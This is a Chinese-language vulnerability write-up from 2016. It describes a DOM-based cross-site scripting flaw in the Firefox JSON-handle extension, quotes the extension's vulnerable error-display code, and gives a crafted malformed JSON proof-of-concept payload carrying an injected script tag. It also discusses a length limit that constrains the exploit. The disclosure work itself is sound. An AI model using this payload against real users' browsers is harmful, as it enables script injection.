[+] Author: evi1m0#sec.ly.com
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2016-11-29

JSON-handle oJsonCheck.oError

刚好距上次发表 ChromeJsonView 的【问题】半年时间,这次简单描述下 Firefox 浏览器中 JsonHandle 最新版存在的安全缺陷,用户在转换 JSON 失败时,由于过滤不严谨导致 DOM 解析错误代码时触发攻击者构造的 JavaScript 代码:

resource://jsonhandle-at-gmail-dot-com/data/JSON-handle/js/jsonH.js

    "showErrorTips" : function (sJson) {
        var oJsonCheck = oLineCode(sJson);
        if(oJsonCheck.oError) {
            var s = _pri.oLang.getStr('msg_4') + _pri.oLang.getStr('msg_5', oJsonCheck.oError.line+1) + ' : ' + '<span id="errorTarget">'+oJsonCheck.oError.lineText+'</span>';
            $('#tipsBox').html(s);
            _pri["holdErrorTips"] = false;
        }else{
            //alert('ok');
        }
        $('#errorCode').html(oJsonCheck.dom);

追踪变量 oJsonCheck.oError.lineText, var oJsonCheck = oLineCode(sJson);, _pri["insertErrorFlag"] :

resource://jsonhandle-at-gmail-dot-com/data/JSON-handle/js/jsonlint.js

    var oLineCode = (function() {
        var _pub_static = function() {
            var _pri = {},
            _pub = {};
            var _init = function(sJson) {
                sJson = _pri.fixReturnline(sJson);
                sJson = _pri.insertErrorFlag(sJson);
                sJson = _pri.escape(sJson);
                sJson = sJson.replace('@鈼�$#errorEm#$鈼咢', '<span class="errorEm">').replace('@鈼�$#/errorEm#$鈼咢', '</span>');
                sJson = '<ol><li><div>' + sJson.split('\n').join('</div></li><li><div>') + '</div></li></ol>'_pub["dom"] = $('<div class="line-code">' + sJson + '</div>');
            };

            _pri["fixReturnline"] = function(s) {
                return s.replace(/\r\n/g, '\n').replace(/\r/g, '\n');
            };

            _pri["insertErrorFlag"] = function(s) {
                var aLine = s.split('\n');
                jsonlint.yy.parseError = function(sError, oError) {
                    var sLine = aLine[oError.line];
                    //console.log(sError, oError);
                    _pub.oError = oError;
                    aLine[oError.line] = sLine.slice(0, oError.pos) + '@鈼�$#errorEm#$鈼咢' + sLine.slice(oError.pos) + '@鈼�$#/errorEm#$鈼咢';
                };

                try {
                    jsonlint.parse(s);
                } catch(e) {
                    _pri["hasError"] = true;
                }
                return aLine.join('\n');
            };

            _pri["escape"] = function(s) {
                s = s || '';
                return s.replace(/\&/g, '&amp;').replace(/\</g, '&lt;').replace(/\>/g, '&gt;').replace(/\"/g, '&quot;').replace(/ /g, '&nbsp;');
            };

            _init.apply(_pub, arguments);
            return _pub;
        };

        return _pub_static;
    } ());

_pri["insertErrorFlag"]:

    var aLine = s.split('\n');
    jsonlint.yy.parseError = function(sError, oError) {
        var sLine = aLine[oError.line];
        //console.log(sError, oError);
        _pub.oError = oError;
        aLine[oError.line] = sLine.slice(0, oError.pos) + '@鈼�$#errorEm#$鈼咢' + sLine.slice(oError.pos) + '@鈼�$#/errorEm#$鈼咢';

根据上面的代码缺陷我们可以构造一个报错的 JSON 格式 :

{"Success":true,"Message":"success","Code":200,"ReturnValue":[{"FromCityName":"宜昌","FromCityId":197,"FromCityPy":"","BatchNo":"318_y5abL0_FB_6_3_9","LineProperty":"","ProjectType":7,"ProductId":115590,"Title":"【南昌往返】【双动往返】【黄金系列】长江三峡宜昌-重庆5晚6日游","SubTitle":"邮轮","Price":3200.00,"ProductUrl":"http://www.ly.com/youlun/tours-115590.html#Resys=318_y5abL0_FB_6_3_9","ProductImgUrl":"http://pic3.40017.cn/c_420x272_001111111.jpg"<script>prompt`a1`//","RedTab":""},]}

不过想要加载外域 JS 进一步利用还有一个小坑在里面,我们通过断点调试可以看到 sJson, LineText, s 的值分别为:

- ….c_420x272_001111111.jpg"<script>payload:01234567899876543210//","RedTab":""}
- ...0x272_001111111.jpg"<script>payload:0123
- JSON format error@line 1 : <span id="errorTarget">...0x272_001111111.jpg"<script>payload:0123</span>

这是由于代码中的 upcomingInput 对长度进行了限制,但这不影响我们依然可以利用一些技巧来实施攻击:

resource://jsonhandle-at-gmail-dot-com/data/JSON-handle/js/jsonlint.js

    upcomingInput:function () {
            var next = this.match;
            if (next.length < 20) {
                next += this._input.substr(0, 20-next.length);
            }
            var s = (next.substr(0,20)+(next.length > 20 ? '...':'')).replace(/\n/g, "");
            return s;
        }

VulnTimeline


源链接

Hacking more

...